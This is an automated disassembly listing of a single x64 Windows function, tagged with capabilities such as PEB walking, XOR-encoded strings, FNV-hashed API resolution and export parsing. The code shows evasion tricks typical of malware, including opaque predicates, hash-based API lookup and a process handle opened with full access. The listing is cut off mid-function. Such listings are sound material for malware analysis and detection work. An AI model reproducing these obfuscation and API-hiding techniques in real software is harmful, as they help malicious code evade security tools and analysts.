Function at 0x1402779d0
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x120
movzx eax, byte [0x14039d209]
mov esi, dword [0x14039d270]
add eax, esi
cmp eax, 0x4b
ja 0x140277ff5
je 0x140277ea2
cmp eax, 6
je 0x140277d4d
cmp eax, 0x15
je 0x140277c14
cmp eax, 0x28
jne 0x14027800b
movdqa xmm0, xmmword [0x140377d90]
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0x2002
mov dword [rsp + 0x39], 0x630972
mov word [rsp + 0x3d], 0x305
mov byte [rsp + 0x3f], 9
mov byte [rsp + 0x38], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x32]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x3b]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140277aa6
inc dl
cmp dl, 4
jne 0x140277a90
jmp 0x140277ab4
movsx ecx, bl
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140277ae6
inc dl
cmp dl, 8
jne 0x140277ad0
jmp 0x140277af5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140277b12
inc cl
cmp cl, 5
jne 0x140277b00
jmp 0x140277b21
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x3a]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 6
jne 0x140277a60
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
cmp byte [rsp + rsi + 0x32], 9
je 0x140277c05
mov r9b, 1
mov r8d, 0x99aa727
mov cl, Ordinal_32
mov eax, r8d
shr eax, cl
test r9b, al
je 0x140277b76
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test r9b, al
jne 0x140277bad
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x140277bad
mov cl, 9
mov eax, r8d
shr eax, cl
test r9b, al
jne 0x140277bad
mov cl, reloc.WS2_32.dll_listen
shr r8d, cl
test r9b, r8b
je 0x140278af1
mov r9b, 3
mov r8d, 0xbc604669
mov cl, Ordinal_32
mov eax, r8d
shr eax, cl
test al, 1
je 0x140277bce
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x140277c05
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x140277c05
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x140277c05
mov cl, reloc.WS2_32.dll_recv
shr r8d, cl
test r8b, 1
je 0x140278af1
mov dword [0x14039d270], 3
jmp 0x140278af1
movdqa xmm0, xmmword [0x140377430]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x35], 0x90972
mov word [rsp + 0x39], 0x305
mov byte [rsp + 0x3b], 0x63
mov byte [rsp + 0x34], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x2f]
nop
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x37]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140277c96
inc dl
cmp dl, 4
jne 0x140277c80
jmp 0x140277ca4
movsx ecx, bl
movzx eax, byte [rsp + 0x3a]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140277cd6
inc dl
cmp dl, 8
jne 0x140277cc0
jmp 0x140277ce5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x39]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140277d02
inc cl
cmp cl, 5
jne 0x140277cf0
jmp 0x140277d11
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x38]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x36]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 5
jne 0x140277c50
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, esi
sub ecx, eax
cmp byte [rsp + rcx + 0x2f], 0x27
jne 0x140278af1
add esi, 0x1d
jmp 0x140278aeb
movdqa xmm0, xmmword [0x140377cd0]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [str._b__t_b0L_b0_b]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x45], 0x90972
mov word [rsp + 0x49], 0x305
mov byte [rsp + 0x4b], 0x63
mov byte [rsp + 0x44], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x3b]
nop word [rax + rax]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x47]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140277de6
inc dl
cmp dl, 4
jne 0x140277dd0
jmp 0x140277df4
movsx ecx, bl
movzx eax, byte [rsp + 0x4a]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140277e26
inc dl
cmp dl, 8
jne 0x140277e10
jmp 0x140277e35
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x49]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140277e52
inc cl
cmp cl, 5
jne 0x140277e40
jmp 0x140277e61
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x48]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x46]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 9
jne 0x140277da0
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
cmp byte [rsp + rsi + 0x3b], 0x2e
jne 0x140278af1
mov dword [0x14039d270], 0x16
jmp 0x140278af1
movdqa xmm0, xmmword [0x140377e80]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x88b2008
mov qword [rsp + 0x34], reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x3d], 0x9cc63
mov word [rsp + 0x41], 0x305
mov byte [rsp + 0x43], 0x63
mov byte [rsp + 0x3c], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x35]
nop word [rax + rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea edi, [rax + r10]
movzx r11d, byte [rsp + 0x3f]
add r11b, dil
xor r11b, cl
mov byte [r8], r11b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x20]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140277f36
inc dl
cmp dl, 4
jne 0x140277f20
jmp 0x140277f45
movsx ecx, r11b
movzx eax, byte [rsp + 0x42]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r9d, byte [r11]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140277f76
inc dl
cmp dl, 8
jne 0x140277f60
jmp 0x140277f85
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x41]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r11]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140277fa2
inc cl
cmp cl, 5
jne 0x140277f90
jmp 0x140277fb1
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x40]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0x3e]
add al, dil
xor byte [r8], al
inc r10d
inc r8
cmp r10d, 7
jne 0x140277ef0
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
cmp byte [rsp + rsi + 0x35], 0x3b
jne 0x140278af1
mov dword [0x14039d270], 0xc
jmp 0x140278af1
cmp eax, 0x2227
je 0x14027895e
cmp eax, 0x23fb
je 0x1402782c3
movdqa xmm0, xmmword [0x140377ce0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140377620]
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmm0, xmmword [0x140377320]
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x140377ca0]
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [0x140377600]
movdqa xmmword [rsp + 0xb0], xmm0
movdqa xmm1, xmmword [0x140377340]
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmm0, xmmword [0x140377a40]
movdqa xmmword [rsp + 0xd0], xmm0
movdqa xmm1, xmmword [0x140377000]
movdqa xmmword [rsp + 0xe0], xmm1
xorps xmm0, xmm0
movdqa xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
mov dword [rsp + 0x108], 0
mov dword [rsp + 0x10d], 0x90972
mov word [rsp + 0x111], 0x305
mov byte [rsp + 0x113], WSAStartup
mov byte [rsp + 0x10c], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0xe5]
nop word [rax + rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x70]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea edi, [rax + r10]
movzx r11d, byte [rsp + 0x10f]
add r11b, dil
xor r11b, cl
mov byte [r8], r11b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x70]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140278139
inc dl
cmp dl, 4
jne 0x140278123
jmp 0x14027814b
movsx ecx, r11b
movzx eax, byte [rsp + 0x112]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r11, [rsp + 0x70]
add r11, rcx
movzx r9d, byte [r11]
nop dword [rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140278176
inc dl
cmp dl, 8
jne 0x140278160
jmp 0x140278188
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x111]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r11]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402781a2
inc cl
cmp cl, 5
jne 0x140278190
jmp 0x1402781b4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x110]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0x10e]
add al, dil
xor byte [r8], al
inc r10d
inc r8
cmp r10d, 0x27
jne 0x1402780f0
mov eax, 0x38e38e39
mul esi
shr edx, 3
lea ecx, [rdx + rdx*8]
shl ecx, 2
mov eax, esi
sub eax, ecx
cmp byte [rsp + rax + 0xe5], 0x20
jne 0x1402781ff
mov dword [0x14039d270], 9
jmp 0x140278af1
xor r9b, r9b
mov r8d, 0x794f7c87
mov cl, Ordinal_32
mov eax, r8d
shr eax, cl
test al, 1
je 0x140278224
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402782bb
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402782bb
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402782bb
mov cl, reloc.WLDAP32.dll_Ordinal_22
shr r8d, cl
test r8b, 1
jne 0x1402782bb
mov r9b, 2
mov r8d, 0x6249d080
mov cl, Ordinal_32
mov eax, r8d
shr eax, cl
test al, 1
je 0x140278278
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402782af
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402782af
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402782af
mov cl, reloc.WS2_32.dll_listen
shr r8d, cl
test r8b, 1
je 0x140278af1
mov dword [0x14039d270], r12d
jmp 0x140278af1
add esi, 0x11
jmp 0x140278aeb
movdqa xmm0, xmmword [0x140377870]
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0x3001
mov dword [rsp + 0x39], 0x72cc63
mov word [rsp + 0x3d], 0x305
mov byte [rsp + 0x3f], 0xcc
mov byte [rsp + 0x38], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x32]
nop
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x3b]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140278346
inc dl
cmp dl, 4
jne 0x140278330
jmp 0x140278354
movsx ecx, bl
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140278386
inc dl
cmp dl, 8
jne 0x140278370
jmp 0x140278395
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402783b2
inc cl
cmp cl, 5
jne 0x1402783a0
jmp 0x1402783c1
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x3a]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 6
jne 0x140278300
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
mov ecx, Ordinal_50
mov edx, 5
cmp byte [rsp + rsi + 0x32], 0xa
cmovne ecx, edx
mov dword [0x14039d270], ecx
mov edx, 0x6cbb00c1
mov cl, Ordinal_32
mov eax, edx
shr eax, cl
test al, 1
je 0x14027841b
mov cl, 3
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140278447
mov cl, 3
mov eax, edx
shr eax, cl
test al, 1
jne 0x140278447
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x140278447
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x140278447
mov cl, reloc.WLDAP32.dll_Ordinal_22
shr edx, cl
test dl, 1
je 0x140278af1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140278956
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140278956
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r14 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
mov r10d, 0x2018c46f
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14027894e
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402784b3
cmp r10d, 0x1677519
jne 0x14027894e
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov ecx, dword [rcx + rax*4]
add rcx, r11
call rcx
mov r10d, eax
cmp eax, 0xc3843e81
je 0x140278567
xor dl, dl
mov r9d, 0x4f839140
mov cl, Ordinal_32
mov eax, r9d
shr eax, cl
test al, 1
je 0x14027852c
lea ecx, [rdx + 1]
mov eax, r9d
shr eax, cl
test al, 1
jne 0x140278567
movzx eax, dl
add dl, 2
movzx r8d, dl
bt r9d, eax
setae dl
bt r9d, r8d
setae al
test al, dl
je 0x140278567
mov cl, 9
mov eax, r9d
shr eax, cl
test al, 1
jne 0x140278567
mov cl, reloc.WS2_32.dll_listen
shr r9d, cl
test r9b, 1
jne 0x140278567
test r10d, r10d
jne 0x140278af1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140278946
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140278946
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r14 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
mov r10d, 0xd7ecc5b
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14027893e
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402785d3
cmp r10d, 0x68c67394
jne 0x14027893e
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r9d, dword [rcx + rax*4]
add r9, r11
xor edx, edx
mov ecx, 0x1fffff
mov r8d, 0xe0d6cfe9
call r9
mov r15, rax
mov dl, 3
mov r9d, 0xb984f73c
mov cl, Ordinal_26
mov eax, r9d
shr eax, cl
test al, 1
je 0x140278654
lea ecx, [rdx + 1]
mov eax, r9d
shr eax, cl
test al, 1
jne 0x14027868a
movzx eax, dl
add dl, 2
movzx r8d, dl
bt r9d, eax
setae dl
bt r9d, r8d
setae al
test al, dl
je 0x14027868a
mov cl, 9
mov eax, r9d
shr eax, cl
test al, 1
jne 0x14027868a
mov cl, reloc.WLDAP32.dll_Ordinal_22
shr r9d, cl
test r9b, 1
je 0x140278761
test r15, r15
je 0x140278761
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140278759
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140278759
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r14 + rbx*4]
mov r9d, dword [rcx + r10]
add r9, r10
mov r11d, 0x3209ef23
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140278755
nop
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140278700
cmp r11d, 0xec9f00f7
jne 0x140278755
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + rbx*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r15
call rdx
nop
jmp 0x140278af1
test ebx, ebx
jne 0x1402786e0
mov rax, qword [rax]
jmp 0x1402786b0
xor dl, dl
mov r9d, 0x2698948
mov cl, 0x1c
mov eax, r9d
shr eax, cl
test al, 1
je 0x140278780
lea ecx, [rdx + 1]
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402787b2
movzx eax, dl
add dl, 2
movzx r8d, dl
bt r9d, eax
setae dl
bt r9d, r8d
setae al
test al, dl
je 0x1402787b2
mov cl, 9
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402787b2
mov cl, reloc.WS2_32.dll_listen
shr r9d, cl
test r9b, 1
je 0x140278750
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140278936
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140278936
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r11
mov r10d, 0xf924ce59
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14027892e
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140278823
cmp r10d, 0xc2feae51
jne 0x14027892e
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
mov edx, dword [0x140398cac]
mov ecx, dword [0x140398ca8]
call r8
cmp word [0x140398d4e], 0
jne 0x140278750
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14027891e
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14027891e
mov r14d, dword [rdi + 0x20]
dec ebx
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r10
mov r11d, 0x3bce0d12
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14027891a
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402788e2
cmp r11d, 0x59a2a598
je 0x140278734
test ebx, ebx
jne 0x1402788c3
mov rax, qword [rax]
jmp 0x1402788a0
test ebx, ebx
jne 0x140278800
mov rax, qword [rax]
jmp 0x1402787d0
test ebx, ebx
jne 0x1402785b0
mov rax, qword [rax]
jmp 0x140278580
test ebx, ebx
jne 0x140278490
mov rax, qword [rax]
jmp 0x140278460
movdqa xmm0, xmmword [0x1403773e0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x35], 0x6363cc
mov word [rsp + 0x39], 0x305
mov byte [rsp + 0x3b], 9
mov byte [rsp + 0x34], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x2f]
nop dword [rax + rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea edi, [rax + r10]
movzx r11d, byte [rsp + 0x37]
add r11b, dil
xor r11b, cl
mov byte [r8], r11b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x20]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402789e6
inc dl
cmp dl, 4
jne 0x1402789d0
jmp 0x1402789f5
movsx ecx, r11b
movzx eax, byte [rsp + 0x3a]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r9d, byte [r11]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140278a26
inc dl
cmp dl, 8
jne 0x140278a10
jmp 0x140278a35
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x39]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r11]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140278a52
inc cl
cmp cl, 5
jne 0x140278a40
jmp 0x140278a61
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x38]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0x36]
add al, dil
xor byte [r8], al
inc r10d
inc r8
cmp r10d, 5
jne 0x1402789a0
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, esi
sub ecx, eax
cmp byte [rsp + rcx + 0x2f], 0x10
jne 0x140278af1
mov r9b, 3
mov r8d, 0x9ca36563
mov cl, Ordinal_32
mov eax, r8d
shr eax, cl
test al, 1
je 0x140278ab5
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x140278ae8
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x140278ae8
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x140278ae8
mov cl, reloc.WS2_32.dll_recv
shr r8d, cl
test r8b, 1
je 0x140278af1
add esi, 0xfffffff9
mov dword [0x14039d270], esi
mov dword [rsp + 0x20], 0x10030
mov dword [rsp + 0x24], 0x3e30010
mov dword [rsp + 0x28], 0x200000
mov dword [rsp + 0x2c], 0x103b8
mov dword [rsp + 0x30], 0x7f0010
mov dword [rsp + 0x34], 1
mov dword [rsp + 0x38], 0x1003a
mov qword [rsp + 0x3c], reloc.WS2_32.dll_recv
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x48], 0x72090000
mov dword [rsp + 0x4c], 0x3050072
mov word [rsp + 0x50], 0xcc
lea r9, [rsp + 0x3e]
nop word [rax + rax]
lea r11d, [r12 + r12*2]
movzx ecx, word [rsp + r11*2 + 0x20]
mov word [r9], cx
movzx eax, r12w
add ax, ax
lea ebx, [rax + r12]
movzx r8d, byte [rsp + 0x4c]
add r8w, bx
xor r8w, cx
mov word [r9], r8w
xor dl, dl
lea eax, [r11 + 1]
movzx r10d, word [rsp + rax*2 + 0x20]
nop word [rax + rax]
movzx ecx, dl
movzx eax, r10w
shr ax, cl
test al, 1
jne 0x140278bb7
inc dl
cmp dl, 4
jne 0x140278ba0
jmp 0x140278bc8
movzx r8d, r8w
movzx eax, byte [rsp + 0x4f]
btc r8d, eax
mov word [r9], r8w
mov dl, 5
lea eax, [r11 + 2]
lea r11, [rsp + 0x20]
lea r11, [r11 + rax*2]
movzx r10d, word [r11]
nop dword [rax + rax]
movzx ecx, dl
movzx eax, r10w
shr ax, cl
test al, 1
jne 0x140278bf7
inc dl
cmp dl, 8
jne 0x140278be0
jmp 0x140278c0b
movzx ecx, r8w
movzx eax, byte [rsp + 0x4e]
btc ecx, eax
movzx r8d, cx
mov word [r9], cx
xor cl, cl
movzx edx, word [r11]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x140278c24
inc cl
cmp cl, 5
jne 0x140278c11
jmp 0x140278c38
movzx ecx, r8w
movzx eax, byte [rsp + 0x4d]
btc ecx, eax
movzx r8d, cx
mov word [r9], cx
movzx eax, byte [rsp + 0x4b]
add ax, bx
xor ax, r8w
mov word [r9], ax
inc r12d
add r9, 2
cmp r12d, 5
jne 0x140278b60
cmp word [rsp + 0x3e], 1
jne 0x140278cb0
mov edx, 0x60179547
mov cl, 0x1c
mov eax, edx
shr eax, cl
test al, 1
je 0x140278c7c
mov cl, 3
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x140278ca4
mov cl, 3
mov eax, edx
shr eax, cl
test al, 1
jne 0x140278ca4
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x140278ca4
mov cl, 9
